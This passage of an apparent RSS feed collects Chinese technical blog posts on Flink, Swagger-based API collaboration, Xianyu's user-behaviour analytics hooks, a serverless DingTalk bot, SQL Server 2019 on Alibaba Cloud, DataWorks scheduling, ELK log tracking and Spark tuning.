        [20]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/time-windowed-joins-and-tumbling-windows-td33551.html

        活动博客文章及其他

        ■ SQL 开发任务超 50% !滴滴实时计算的演进与优化

        [21]https://ververica.cn/corporate_practice/evolution-and-optimization-of-didi-real-time-computing/

        ■ Flink 生态:一个案例快速上手 PyFlink
        [22]https://ververica.cn/developers/pyflink-a-case-in-hand/

        ■ 一套 SQL 搞定数据仓库?Flink有了新尝试[23]https://ververica.cn/developers/a-set-of-sql-to-handle-data-warehouse/

        ■ 如何在 Flink 中规划 RocksDB 内存容量?
        [24]https://ververica.cn/developers/how-to-plan-the-memory-capacity-of-rocksdb-in-flink/

        2 分钟快速订阅 Flink 中文邮件列表

        Apache Flink 中文邮件列表订阅流程:

        1. 发送任意邮件到 user-zh-subscribe@flink.apache.org
        2. 收到官方确认邮件
        3. 回复该邮件 confirm 即可订阅

        订阅成功后将收到 Flink 官方的中文邮件列表的消息,您可以向 user-zh@flink.apache.org 发邮件提问也可以帮助别人解答问题,动动手测试一下!

        Flink Weekly 作者征集

        Flink Weekly 是由社区同学发起的并持续更新的 Flink 社区每周动态汇总,内容涵盖邮件列表中用户问题的解答、社区开发和提议的进展、社区新闻以及其他活动、博客文章等,发布于 Apache Flink 中文邮件列表、Flink 中文社区官方微信公众号及各大社区专栏。

        1. 如果你也想积极参与社区,掌握社区最新动态
        2. 获得 Apache Flink PMC 及 Committer 对技术文章写作的指导
        3. 与社区深度参与者们交流
        4. 拥有更多曝光的平台与机会

        欢迎报名 Flink Weekly 作者!众所周知,Flink 学的好,女朋友容易找,Flink 学成,头发茂!点击“阅读原文”填写信息即可加入小松鼠大家庭~

        作者介绍:

        张成,小红书技术部基础平台开发工程师,目前主要在做基于 Flink 的实时计算平台开发。

        ]]>
        面向接口开发的前后端跨团队合作方案 Fri, 02 May 2025 09:39:04 +0800 1.问题描述

        1.1 背景

        大中型产品研发中,由于参与人员过多的原因,手机应用程序、后端服务研发通常会拆分开,由不同的团队负责。这即促进了专业领域的聚焦,又减少了团队管理与沟通的复杂度。

        1.2 现象

        好现象

        • 内部沟通效率得到提升:手机应用程序、后端服务研发团队内部讨论、传递的信息都是和绝大数人有关的信息;沟通网络效应造成沟通负担得到遏制。
        • 大部分人聚焦内部,少数人做边界沟通,缓解沟通能力的要求。
        • 各自内部迭代速度加速。

        坏现象

        • 组织墙阻隔了团队间集体感。
        • 由于缺乏跨组织交流,对合作团队工作认同感降低。
        • 前后端联调滞后,导致项目中后期问题激增,团队氛围恶化,项目延期。

        1.3 影响

        • 产品发布节奏放缓。
        • 产品研发成本增加。
        • 技术方案倾向于团队折中、妥协,而非基于产品发展。

        2.主因分析

        核心原因在沟通阻力增加和利益不一致。

        原因 1:沟通阻力增加

        • 术业有专攻,且缺少天天耳濡目染,对跨组织的工作越来越不理解。
        • 因物理和心理两个维度上距离增加,导致小问题得不到及时暴露和解决。如接口的定义、参数的设计、业务逻辑的真正讨论,被延期到集成阶段。
        • 工作排期聚焦内部,对于彼此协调、依赖的事项关注不足。

        原因 2:利益不一致

        • 独立 KPI 考核
        • 独立研发计划
        • 前端应用面临海量客户的压力,后端面临多个前端应用需求的压力

        3.项目治理方案

        • 建立持续交付的工作模式,以持续交付用户价值为共同目标。
        • 建立跨组织的产品级路线图。
        • 建立以产品经理和系统架构师为核心的跨组织领导体系,拥有决策权和评价权。
        • 后端服务团队的接口人以虚拟角色形式,参与到前端团队的研发管理,包括日会、技术会。
        • 建立面向接口的开发模式。
        • 定期组织跨组织的团队建设活动。

        4.实施方案

        4.1 组建阶段

        • 明确授权产品经理、产品级架构师
        • 统一研发基础设施,包括接口设计与发布流程
        • 统一沟通工具,制定沟通计划
        • 统一迭代节奏

        4.2 实施阶段

        • 保持后端团队代表的有效参与前端团队,需产品经理、架构师监督。
        • 保持按节奏持续发布至测试环境,包括前端、后端,让问题在有限时间内得到暴露和解决

        4.3 接口开发技术

        方案一:基于 Swagger

        基于接口设计、描述框架 Swaggerhttps://swagger.io/),构建基于接口的研发流程。

        • 后端服务即 API 文档,前端团队清晰了解接口能力,利于持续集成。
        • 后端持续发布接口能力,简化 API 文档维护成本。
        • 需要前后端团队遵循开发流程,提高项目的整体效率,而非单次沟通效率。

        Swagger - Simplify API development for users, teams, and enterprises with the Swagger open source and professional toolset. Find out how Swagger can help you design and document your APIs at scale.
        by https://swagger.io/

        (1)接口设计阶段

        针对业务需求清晰的接口,即通过规划的接口,启动基于Swagger的接口设计。

        • 侧重基于真实服务代码描述接口设计
        • 不做功能的有效实现
        • 将设计通过的接口,发布到测试环境,供前端团队查阅和开发联调

        接口设计规范:OpenAPI Specification

        https://swagger.io/resources/open-api/

        接口设计工具:Swagger Editor

        Design, describe, and document your API on the first open source editor fully dedicated to OpenAPI-based APIs. The Swagger Editor is great for quickly getting started with the OpenAPI (formerly known as the Swagger Specification) specification, with support for Swagger 2.0 and OpenAPI 3.0.

        https://editor.swagger.io/

        • 使用Yaml语言, 定义好API接口
        • 点击 generate server code, 选择需要的语言, 即可下载自动生成的相关接口的初始化项目
        • 点击 generate client code, 选择需要的语言, 即可以下载自动生成调用这个接口的客户端代码

        接口定义查看工具:Swagger UI

        Swagger UI 可以将项目接口自动生产具有交互的html页面, 是一个前端页面的自动生成项目. Swagger UI的 demo见: swagger ui demo

        (2)接口实现阶段

        按节奏逐渐实现接口的能力。

        • 对于已实现的能力,要清晰描述能力
        • 对于在在研的能力,要描述清晰状态

        后端服务工程引入swagger的依赖

         io.springfoxspringfox-swagger22.7.0io.springfoxspringfox-swagger-ui2.7.0

        生成API的server stub和client SDK

        Swagger Codegen can simplify your build process by generating server stubs and client SDKs for any API, defined with the OpenAPI (formerly known as Swagger) specification, so your team can focus better on your API’s implementation and adoption.

        (3)接口设计变更

        后端人员无需关注Swagger描述文件和接口文档,有需求变更导致接口变化,直接写代码就好了。把调用层的代码做个修改,然后生成新的描述文件和接口文档后,给到前端即可。

        方案二:基于阿里云 API 网关

        https://www.aliyun.com/product/apigateway

        API 网关(API Gateway),提供API托管服务,涵盖API发布、管理、运维、售卖的全生命周期管理。辅助用户简单、快速、低成本、低风险的实现微服务聚合、前后端分离、系统集成,向合作伙伴、开发者开放功能和数据。https://www.aliyun.com/product/apigateway

        • 提供防攻击、防重放、请求加密、身份认证、权限管理、流量控制等多重手段保证 API 安全,降低 API 开放风险。
        • 提供 API 定义、测试、发布、下线等全生命周期管理,并生成 SDK、API 说明文档,提升 API 管理、迭代的效率。
        • 提供便捷的监控、报警、分析、API 市场等运维、运营工具,降低 API 运营、维护成本。

        API 网关功能
        • API 生命周期管理
        • 支持包括 API 发布、API 测试、API 下线等生命周期管理功能。
        • 支持 API 日常管理、API 版本管理、API 快速回滚等维护功能。
        • 全面的安全防护
        • 支持多种认证方式,支持 HMAC (SHA-1,SHA-256) 算法签名。
        • 支持 HTTPS 协议,支持 SSL 加密。
        • 防攻击、防注入、请求防重放、请求防篡改。
        • 灵活的权限控制
        • 用户以 APP 作为请求 API 的身份,网关支持针对 APP 的权限控制。
        • 只有已经获得授权的 APP 才能请求相应的 API。
        • API 提供者可以将调用某个API 的权限主动授予给某个APP。
        • 若 API上架到 API 市场,购买者可以将已购买的 API 授权给自己的 APP。
        • 精准的流量控制
        • 流量控制可以用于管控 API的被访问频率、APP的请求频率、用户的请求频率。
        • 流量控制的时间单位可以是分钟、小时、天。
        • 支持流控例外,允许设置特殊的 APP 或者用户。
        • 请求校验
        • 支持参数类型、参数值(范围、枚举、正则)校验,无效校验会被 API 网关直接拒绝,以减少无效请求对后端造成的资源浪费,大幅降低后端服务的处理成本。
        • 数据转换:通过配置映射规则,实现前、后端数据翻译。
        • 支持前端请求的数据转换。
        • 支持返回结果的数据转换。
        • 监控报警
        • 提供可视化的API实时监控,包括:调用量、流量大小、响应时间、错误率,在陆续增加维度。
        • 支持历史情况查询,以便统筹分析。
        • 可配置预警方式(短信、Email),订阅预警信息,以便实时掌握API运行情况。
        • 自动工具
        • 自动生成 API 文档,可供在线查看。
        • API 网关提供多种语言 SDK 的示例。降低 API 的运维成本。
        • 提供可视化的界面调试工具,快速测试,快速上线。
        ]]>
        纳米镜系列文章|使闲鱼各种业务“雨露均沾” Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-云听

        背景

        在之前的文章中,我们介绍了纳米镜的功能和背后的分析算法,而闲鱼目前业务线多且复杂,怎么构建一个可扩展性强的系统,使每个业务线都能够便捷地接入,成为首要关注的问题。

        思路分析

        标准数据集

        纳米镜的分析算法,输入输出是固定的,要求输入是一个固定的标准ODPS数据集,字段包含userid/分桶id/人群切面1/人群切面2/指标1/指标2等,但实际业务场景中,每个业务关注的人群切面与数据指标都是大相径庭的,为了在约束中寻找灵活性,我们必须对纳米镜的标准数据集做些改造。
        由于纳米镜存在数据集依赖,比如说预测算法和切面显著性算法,就需要依赖具体的某张表去做二次计算,比较好的解决方案是让业务方按照数据集规范往标准数据集的中间表里面插数据。

        数据集自动生成

        只要让每个业务将自己的数据按照标准数据集的规范插入到纳米镜中间表中,就能开始使用纳米镜的功能。但实际场景中,业务产出数据集的开发成本很大,并且这种方式对使用方的开放权限很大,假如使用方不按照规范插入数据,会对源数据造成污染,使其变得不可控。那是否能做到数据集自动生成,让使用方不需要关注数据采集流程呢?
        可以看看,在平常的业务开发流程中,生成ODPS数据源的工作流程是:

        这整个过程下来,一般都会花费至少2天(1天埋点梳理与开发、1天写SQL生成报表)的时间,并且很多时候会出现埋点遗漏的问题,又需要重新走一遍开发和发布流程,造成很多人力上的浪费。

        方案设计

        标准数据源制定

        数据集中的数据类型是固定的,数据类型下字段名称和值可以是灵活的。

        在数据集上,我设计这种一种数据格式,参考:
        userid: 用户userid
        bucket_id:bucket_A
        indexes: index_visit=1,index_ipv=2
        tags: tag_sex=F,tag_age=19

        业务数据集自动生成

        行业成熟方案及缺点

        数据自动生成,意味着上面提到的常规数据开发流程直接抹除,不需要关注埋点开发、也不需要跨专业领域去写SQL,页面只要一上线,活动数据就会自动存储到纳米镜的标准数据源中。要做到无埋点,业界有类似的方案,也叫做“全埋点”,自动采集坑位曝光点击,但这个方案的缺点很明显:
        1、上传数据是dom节点位置信息,清洗麻烦,并且摆脱不了写SQL的工作
        2、增加带宽、服务器压力(每个坑位的曝光点击,无论是否需要都会上传)
        3、业务侵入太强(weex下要监听坑位曝光事件,模块开发时需引入定制组件)
        4、携带不了trackparam信息(实际业务场景还会关注更多业务信息 eg.商品id/分桶/红包金额)

        提取用户行为的最大公约数

        本质上,业务关注的是用户行为。我对历史埋点开发的数据做了统计,梳理出业务关注的用户行为类型,包含点击跳转页面、红包曝光、红包领取、红包金额、分桶id、渠道等。并且发现,所有这些用户行为,底层都经过了页面跳转/HTTP接口请求/url传参这几个API调用,如果API调用的输入输出是可固化的,那理解用户行为的业务语义并采集上报,就具备可能性!

        最终方案

        要做一个适用所有业务(闲鱼/手淘/天猫)的用户行为采集方案,技术实现上不可能,原因是每个业务自己的工程实现方案完全不同,也无法保持一致。不过对闲鱼来说,工程基建基本成熟稳定,具有业务语义的用户行为的API输入输出已固化,使实现一套只适用于闲鱼的用户行为自动采集技术方案具有了可能性。总体技术方案如下:

        图中下半部分的虚线部分:产品展现侧本文不做太多扩展,本文主要讲上半部分的,从端侧用户行为采集到生成纳米镜标准数据源。
        相比全埋点,它的特点是:
        1、灵活配置
        2、减少带宽、服务器计算压力
        3、业务无侵入
        4、可携带trackparam信息

        落地

        hook API

        闲鱼前端封装了一个util,页面跳转(navigator)、http请求(mtop)都由它暴露出来给开发使用,具体调用方式是navigator.push()mtop.request()。使用Proxy代理对这两个API进行hook。这里以navigator为例。

        navigator['push'] = new Proxy(navigator['push'], {
        get(target, propKey) {
        return target[propKey];
        },
        set(target, propKey, value) {
        target[propKey] = value;
        return target[propKey];
        },
        apply(target, thisArg, args) {
        // 先执行原逻辑
        const result = target.apply(this, args);
        // 是否指定忽略纳米镜分析
        const ignoreNanoAnaly = args && args[0] && args[0].api && args[0].ignoreNanoAnaly;
        if (ignoreNanoAnaly) {
        return result;
        }
        if (result instanceof Promise && result.then) {
        result.then(d => {
        // 这里写入监听逻辑
        // ...
        return Promise.resolve(d);
        }).catch(e => {
        // 这里写入监听逻辑
        // ...
        return Promise.reject(e);
        });
        }
        return result;
        }
        });

        用户行为采集通用配置与可定制化配置

        闲鱼目前已沉淀下成熟的一套用户行为采集通用配置,满足业务方数据分析时的各种数据指标诉求,并且,我们还支持定向扩展,可对具体的页面spmId定制自己个性化的用户行为指标,具体的配置参数与含义参考以下demo。

        {
        "spms": [{
        "spm": "common", // 用户行为通用配置 会对所有页面产生的用户行为进行匹配
        "tasks": [{
        "indexType": 0, // 0代表指标 1代表bucket_id 2代表infos 3代表扩展信息 默认0 这里主要是需要与纳米镜的标准数据源建立映射关系
        "index": "index__ipv", // 指标名称 IPV
        "behavior": [
        {
        "type": 0, // 用户行为类型 0代表navigator 1代表mtop 2代表location.href
        "condition": "fleamarket://item", // 正则匹配是否目标行为 type=navigator匹配下跳url;type=mtop匹配接口返回值 不校验填true
        "valueType": "1" // 指标数值类型 0代表boolean 1代表count 字符串属性链代表对应取对应值
        }
        ]
        }]
        }, {
        "spm": "spma.spmb",
        "match_uv": true, // 是否采集页面uv 默认指标名称是 index__visit
        "tasks": [{
        "indexType": 0,
        "index": "index__gold_copper", // 金宝箱是否打开
        "behavior": [{
        "type": 1, // mtop接口请求的行为类型
        "api": "mtop.api.lottery.draw", // 抽奖接口api名称
        "condition": "d.data.status===5", // mtop返回值符合该正则匹配 则认为符合采集记录条件  status==5代表用户成功打开了金宝箱
        "valueType": "0" // 是否领取成功 0/1
        }]
        }]
        }]
        }

        行为聚合与上报

        为了减少带宽和服务器计算压力,每次采集到的用户行为不会立即上报,而是把整个页面实例生命周期的用户行为做聚合,直到页面被销毁或者应用从前台切到后台15秒后做统一上报。
        上面提到的demo,假设用户在spmId为spma.spmb的页面点击跳转了10次商品详情页,并打开了金宝箱,最终上报到服务器日志的数据长这样:

        {
        "page": "spma.spmb",
        "indexes": "index__visit=1,index__ipv=10,index__gold_copper=1"
        }

        效果

        目前,已经有多个业务通过这种方式灵活轻便地接入纳米镜,eg. 边逛边赚钱、侃侃刀、报价单、322闲鱼大促等等,从原本要花费至少2人日的开发量,到只要活动上线,即可上手纳米镜查看活动智能分析结论,整体纳米镜使用体验和使用效率都获取了极大的提升。

        未来

        目前纳米镜设计的业务接入模式,已能够满足业务0成本接入,如果有更多定制化数据指标诉求,也支持低成本地动态配置。
        未来,纳米镜会在数据科学的道路上深入钻研,现阶段我们更多在理解人,也在尝试从浩如烟海的历史活动中抽象沉淀知识库,并且开始尝试理解货,理解人与货之间的喜好关系,并建立人与货之间的匹配关系。
        想了解更多细节,就请继续关注闲鱼公众号吧。

        ]]>
        急速上线 Serverless 钉钉机器人“防疫精灵” Fri, 02 May 2025 09:39:04 +0800 han1.jpg

        新型冠状病毒疫情肆虐的春节,大家都过得人心惶惶,作为被关在家的程序狗,总觉得要做点什么。于是阿里云 IoT 事业部的几个同学就开始了防疫精灵的开发之路。

        从点子到防疫宝,只花了一个下午时间;从防疫宝到钉钉全域机器人防疫精灵,只花了 1.5 天时间完成开发,3 天灰度、全量,发布 1 天半就突破 1 万个群添加使用,即插即用,疫情实况、常见问题、健康打卡全都有:

        如此紧急,toC海量客户,如何快速开发又不失稳定、安全呢?

        快速搭建

        天下武功唯快不破,怎么快?靠工具!
        IoT Studio是阿里云 IoT 向物联网开发者提供的应用开发工具,包括了可视化、逻辑编排、数据分析三大能力。该工具开发的应用实例运行于阿里云函数计算(FunctionCompute 简称 FC)之上,应用 serverless 化,以达到按量伸缩和免运维的效果。

        机器人添加

        原理:钉钉全域机器人添加/删除/更新时,会自动推送HTTP事件
        搭建:

        1.使用HTTP流来提供钉钉事件回调
        2.使用路径选择节点,根据事件类型分流到对应的处理逻辑
        3.使用 Node 脚本进行数据预处理,包括数据格式、敏感字段脱敏或加签等
        4.存入数据库

        聊天消息通路

        原理:基本同上,at机器人的消息将发送到回调接口,转发 NLP 接口
        搭建:
        1.使用 HTTP 流来提供钉钉消息回调
        2.使用 Node 脚本节点(此处可用 API 请求节点,但因为稳定性要求改用 Node 脚本来,详见下文优化部分)

        批量群推送

        原理:每天 9 时、17 时定时推送最新疫情实况和打卡、咨询快捷链接
        搭建:
        // 触发
        1.使用定时节点,设置每日触发
        2.使用项目内API节点,调用同项目内的批量发送服务

        // 发送
        3.使用 HTTP 节点搭建发送入口
        4.使用 Node.js 脚本节点拼装消息发送的内容
        5.使用 Node.js 脚本节点查询数据库的webhook信息并解签(此处后续会优化数据库节点,无需写脚本)
        6.使用 Node.js 脚本节点,批量发送消息给钉钉的 OpenAPI 接口(此处是关键点,容量评估、并发、流控、异常处理都在此处)

        疫情可视化

        原理:使用可视化工具,利用库中的疫情数据,展示实况、趋势图,借助函数计算部署 puppeteer 服务定时截图
        搭建:

        1. 使用文字组件,配置数据源(业务逻辑编排接口,类似上文搭建方式,不赘述),使用过滤器选定展示字段
        2. 使用折线图组件,配置数据源、数据系列。
        3. 使用函数计算部署 puppeteer 截图任务,详见:Serverless 实战 —— 快速开发一个分布式 Puppeteer 网页截图服务

        架构梳理

        小结

        1. 好用的工具是绝对的生产力。 IoT Studio 拉近了想法和实现的距离,通过快速模板化,1 天搭建原型,1 天完成了 V1 版本。
        2. Serverless 为后端的高并发、高可用保驾护航。由于疫情的发展,“防疫精灵”的访问量很快就大幅度提升,而且是非常典型的访问量峰谷类业务。Serverless 的按量付费和急速弹性(百毫秒级别)省去了业务量增长而引入的架构升级的工作。此外函数计算的快速部署和低运维特性,也让开发迭代得更快,对系统的监控度感知更容易。

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        企业级数据库最佳选择!阿里云云数据库SQL Server 2019新版本重磅发布 ! Fri, 02 May 2025 09:39:04 +0800 阿里云云数据库SQL Server 2019版正式上线!

        戳我观看直播
        查看新版详情,更有限时4折优惠
        新版本亮点详情

        SQL.jpg

        2020年3月26日,阿里云云数据库SQL Server 2019版正式上线,并随之发布共享型规格族及云数据库SQL Server专属集群两个产品形态。企业客户的数据库上云有了更多选择。

        1、赋予企业更多可能,云数据库SQL Server2019版发布

        云数据库SQL Server 2019标准版正式在阿里云上线,带来了更多新的体验。SQL Server 2019版本提供了大数据群集新特性,更高引擎性能及安全、可用性等数据库能力的增强。

        云数据库SQL Server 2019版本又进一步基于云平台,提供了在高可用、高安全、高性能及轻运维的全套数据库解决方案,为客户的业务场景带来引擎能力和运维能力的全面提升。除了既有实例的升级,云数据库SQL Server2019版也可更好地支撑机器学习、人工智能等新兴领域的数据库应用。

        image.png

        2、共享型规格族上线,正版又便宜

        云数据库SQL Server标准版系列全新发布共享型规格族,相比早期的独享型规格族,有超过50%的费用下降,进一步降低企业上云成本。

        共享型实例独享被分配的内存资源,通过阿里云数据库的规模红利效应,实例CPU部分复用同一宿主物理机上的CPU资源,从而进一步提升性价比。共享型实例具备主从高可用架构,使得用户在更多普适性场景上,有了一种兼具高可用和低成本的更优化选择。

        image.png

        3、云数据库SQL Server专属集群——客户专属的RDS SQL Server集群云

        云数据库SQL Server全新专属集群形态上线,为企业级客户提供了无缝上云的选择。在专属集群形态下,客户独享集群资源池内所有物理机的资源,可在主机上自由灵活分配资源。通过对不同业务需求、实例不同使用特性,进行一定程度的实例资源超分配,降低单实例成本。

        在新的产品形态下,客户专属云数据库 SQL Server集群云,不仅享有云数据库完整的数据库能力,同时在集群维度能享用云数据库规模化、自动化的调度策略,未来我们还将进一步开放集群内的权限体系,使得企业客户在上云时,保留自有运维习惯和体系的同时,也能感受到云数据库带来的能力提升。

        image.png

        阿里云数据库SQL Server产品专家许鸿斌(花名:洛霄)表示,满足企业运维管理需求的同时,通过云计算能力为业务带来新的提升,始终是云数据库产品追求的价值。

        云数据库SQL Server自2012年上线以来,砥砺前行,帮助诸多企业客户实现数据库上云的转型和提升。未来云数据库SQL Server也将始终依旧致力于为用户提供正版、高性价比、稳定又可靠的云数据库服务。

        ]]>
        DataWorks百问百答06:周期实例的生成方式是怎么样的? Fri, 02 May 2025 09:39:04 +0800

        DataWorks的调度任务实例生成方式有以下两种:

        image.png

        • T+1次日生成:全量任务转实例,任务若是在每天23:30之前提交发布的任务,第二天产生实例;23:30-00:00提交发布的任务,则会在第三天产生实例。
        • 发布后即时生成:实时转实例,在代码编辑完成后,提交发布任务,会立即生成实例。定时时间在发布时间点10分钟后的任务才会正常运行。

        注:发布流程只在标准模式项目中存在,简单模式项目中,提交即发布

        关于实例的生成,需要注意以下情况:

        • 组合节点不支持实时转实例功能。
        • 旧版工作流不支持实时转实例功能。 公共云23:30后不支持实时转实例。
        • 全量转实例期间(23:30~24:00点期间)不能进行实时转实例,可以提交发布,但不会转出实例。
        • 已有的实例从T+1次日生成变更为发布后即时生成,会影响当天实例的产生情况。已运行的实例会保留,发布后未运行的实例会被删除并替换为实时转出的实例。
        • 上游T+1形式生成实例,下游实时转实例节点会变成孤立节点,任务不会调度。
        • 实时生成的过期实例: 上下游均为实时转实例节点,任务定时时间在发布时间点10分钟后的实例会正常转出。任务定时时间在发布时间点10分钟前,会生成已经完成的实例,其节点实例属性为实时生成的过期实例,下游正常调度。

        示例场景:假设原先天任务定时调度时间设置18点执行,修改作业调度时间为13:55分(立即生成实例)。如果在13:45前发布任务,会生成1个能正常运行的实例。如果在13:45后发布任务,等到定时时间,会生成1个完成的实例,但节点实例属性为实时生成的过期实例

        image.png

        DataWorks百问百答历史记录请点击查看

        采购季限时!原价2500元现仅需99元,3分钟入门DataWorks标准版6大场景!点击查看

        更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】

        ]]>
        【产品百晓生】DataWorks产品月刊合集 Fri, 02 May 2025 09:39:04 +0800 为了您更好地使用DataWorks产品,从2020年1月开始,Dataworks将每月推出产品月刊,为您提供最新的产品活动、功能更新、灰度功能邀测、大数据技术文章等各类信息,希望DataWorks为您提供高效的,一站式的大数据开发操作系统级体验。

        DataWorks 2019-12 产品月刊>>
        DataWorks 2020-01 产品月刊>>
        DataWorks 2020-02 产品月刊>>

        更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】,为您提供最新的产品直播、产品活动及技术支持点击查看

        ]]>
        微服务业务监控和行为分析怎么做?试试日志埋点 Fri, 02 May 2025 09:39:04 +0800 file

        一、说明

        互联网公司一般都会有专门的数据团队对公司的一些业务指标负责;为了拿到这些基本的业务指标,一般也要工程团队去配合做一些数据采集工作,于是埋点诞生了。
         

        埋点的方式有很多种,本文主要介绍 日志埋点 这种方式以及实现思路和案例。

        日志埋点 就是通过程序打印 log 日志的方式进行业务/行为数据的记录

         

        二、总体架构

        file

        通过 日志埋点 来实现业务监控和行为分析主要需要以下4个步骤

        1. 数据生成(埋点)
        2. 数据收集
        3. 数据解析(结构化)
        4. 数据落盘
        5. 数据使用(展示/分析)

         

        三、方案说明

        3.1. 数据生成

        日志数据的生成直接使用 Logback 等日志框架就可以了,可以自己封装公共方法、aop、注解等方式来生成指定的埋点日志

        但是为了便于后面的数据解析,日志数据需要规范先行

        1. 所有的埋点日志必需约定好统一的格式,例如:{时间}|{来源}|{对象id}|{类型}|{对象属性(以&分割)}

        按上面的格式生成的日志为:
        2019-11-07 10:32:01|api-gateway|1|request-statistics|ip=171.221.203.106&browser=CHROME&operatingSystem=WINDOWS_10

        1. 避免埋点的日志文件和系统本身输出的日志混淆
          file

        埋点的日志输出的目录、文件等需要和应用本身的日志分离,通过 Logback 的配置就能实现

         

        埋点案例
        file

        生成日志
        file

        网关埋点用户请求

         

        3.2. 数据收集

        关于日志数据的收集可选择的中间件比较多,除了图中的 FileBeat 之外还有 FlumeFluentdrsyslog 等;需要每台服务器都部署一个收集中间件。

        每台服务器部署一个就行了,就算一台服务器中启了多个微服务也是可以一齐收集

        PS:日志收集后面的 消息队列 并不是必需的可以去掉,但是增加 消息队列 后有以下两个优点

        1. 削峰填谷:减轻后面日志解析的压力
        2. 数据共享:日志数据除了提供给日志系统之外,可以增加消费端的同时提供给其他地方使用,如流计算等

         

        3.3. 数据解析

        使用 Logstashgrok表达式解析日志数据并结构化,以上面的日志数据为例

        2019-11-07 10:32:01|api-gateway|1|request-statistics|ip=171.221.203.106&browser=CHROME&operatingSystem=WINDOWS_10

        结构化后的日志数据为:

        {
            timestamp: '2019-11-07 10:32:01',
            appName: 'api-gateway',
            resouceid: '1',
            type: 'request-statistics',
            ip: '171.221.203.106',
            browser: 'CHROME',
            operatingSystem: 'WINDOWS_10'
        }

         

        3.4. 数据落盘

        通过 Logstash 能自动创建 Elasticsearch 索引并以天为单位分片
        file

        可以通过索引模板来指定每个字段的类型和分词器等属性

         

        3.5. 数据使用

        日志数据落盘到 Elasticsearch 后,就可以通过聚合查询等方式实时显示监控数据或者分析日志数据

        监控案例
        file

        聚合查询逻辑可参考 https://gitee.com/zlt2000/microservices-platform

         

        四、总结

        日志埋点 只是其中一种埋点手段而已,优点是系统无入侵且灵活;日志收集、解析、落盘等都可以灵活搭配选择不同的中间件,并且不需要修改源系统的代码;并且可以方便对接其他分析平台(例如: 大数据平台)

        PS:业务监控是否可以不做日志埋点,直接查询业务的数据库呢?(不建议这样做)

        1. 使用日志埋点能实现监控数据与业务数据分离,监控平台不会影响或增加业务数据库的压力
        2. 使用日志埋点能方便实现实时业务数据预警

        举个栗子:日志收集后面添加流计算中间件,计算某个时间窗口内优惠卷日志的数量或者金额大于某个阀值,则发出预警

         
        扫码关注有惊喜!

        file

        ]]>
        不可不知的Spark调优点 Fri, 02 May 2025 09:39:04 +0800 在利用Spark处理数据时,如果数据量不大,那么Spark的默认配置基本就能满足实际的业务场景。但是当数据量大的时候,就需要做一定的参数配置调整和优化,以保证业务的安全、稳定的运行。并且在实际优化中,要考虑不同的场景,采取不同的优化策略。

        1.合理设置微批处理时间

        在SparkSreaming流式处理中,合理的设置微批处理时间(batchDuration)是非常有必要的。
        如果batchDuration设置过短,会导致SparkStreaming频繁提交job。如果每个batchDuration所产生的job不能在这个时间内完成处理,就会造成job不断堆积,最终导致SparkStreaming发生阻塞,甚至程序宕掉。
        需要根据不同的应用场景和硬件配置等确定,可以根据SparkStreaming的可视化监控界面,观察Total Delay等指标来进行batchDuration的调整。

        2.控制消费的最大速率

        比如SparkStreaming和Kafka集成,采用direct模式时,需要设置参数spark.streaming.kafka.maxRatePerPartition以控制每个Kafka分区最大消费数。该参数默认没有上线,即Kafka当中有多少数据它就会直接全部拉出。
        但在实际使用中,需要根据生产者写入Kafka的速率以及消费者本身处理数据的速度综合考虑。
        同时还需要结合上面的batchDuration,使得每个partition拉取的数据,要在每个batchDuration期间顺利处理完毕,做到尽可能高的吞吐量,该参数的调整需参考可视化监控界面中的Input Rate和Processing Time。

        3.缓存反复使用的"数据集"

        Spark中的RDD和SparkStreaming中的DStream,如果被反复的使用,最好利用cache或者persist算子,将"数据集"缓存起来,防止过度的调度资源造成的不必要的开销。

        4.合理的设置GC

        JVM垃圾回收是非常消耗性能和时间的,尤其是stop world、full gc非常影响程序的正常运行。
        关于JVM和参数配置,建议研读《JVM内存管理和垃圾回收》《JVM垃圾回收器、内存分配与回收策略》《内存泄漏、内存溢出和堆外内存,JVM优化配置参数》

        5.合理设置CPU

        每个executor可以占用一个或多个core,可以通过观察CPU的使用率变化来了解计算资源的使用情况。
        要避免CPU的使用浪费,比如一个executor占用多个core,但是总的CPU利用率却不高。此时建议让每个executor占用相对之前较少的core,同时worker下面增加更多的executor进程来增加并行执行的executor数量,从而提高CPU利用率。同时要考虑内存消耗,毕竟一台机器运行的executor越多,每个executor的内存就越小,容易产生OOM。

        6.使用Kryo进行序列化和反序列化

        Spark默认使用Java的序列化机制,但这种Java原生的序列化机制性能却比Kryo差很多。使用Kryo需要进行设置:

        //设置序列化器为KryoSerializer
        SparkConf.set("spark.serializer","org.apache.spark.serializer.KryoSerializer")
        //注册要序列化的自定义类型
        SparkConf.registerKryoClasses(Array(classOf[CustomClass1],classOf[CustomClass2]))

        7.使用高性能的算子

        1)使用reduceByKey、aggregateByKey替代groupByKey
        2)filter之后进行coalesce操作
        3)使用repartitionAndSortWithinPartition
        替代repartition与sort操作
        4)使用mapPartition替代map
        5)使用foreachPartition替代foreach

        要结合实际使用场景,进行算子的替代优化。

        除了上述常用调优策略,还有合理设置Spark并行度,比如参数spark.default.parallelism的设置等,所有这些都要求对Spark内核原理有深入理解,这里不再一一阐述。


        本文转载自公众号: 大数据学习与分享
        原文链接:https://mp.weixin.qq.com/s?__biz=MzI0Mjc0MDU2NQ==&mid=2247484099&idx=1&sn=5755c366d08e82886bf0c6af9d6cf6cb&chksm=e976fef9de0177ef1e6d4dad6aa0ab6363e54b316c64f51aef3ac1ba4a5c6d4336d8c2b6ddc4&scene=21#wechat_redirect


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区近万人Spark技术同学在线提问答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!

        image.png

        对开源大数据和感兴趣的同学可以加小编微信(下图二维码,备注“进群”)进入技术交流微信群。
        image.png

        Apache Spark技术交流社区公众号,微信扫一扫关注

        image.png

        ]]>
        快速迁移 Next.js 应用到函数计算 Fri, 02 May 2025 09:39:04 +0800 m1.jpg

        首先介绍下在本文出现的几个比较重要的概念:

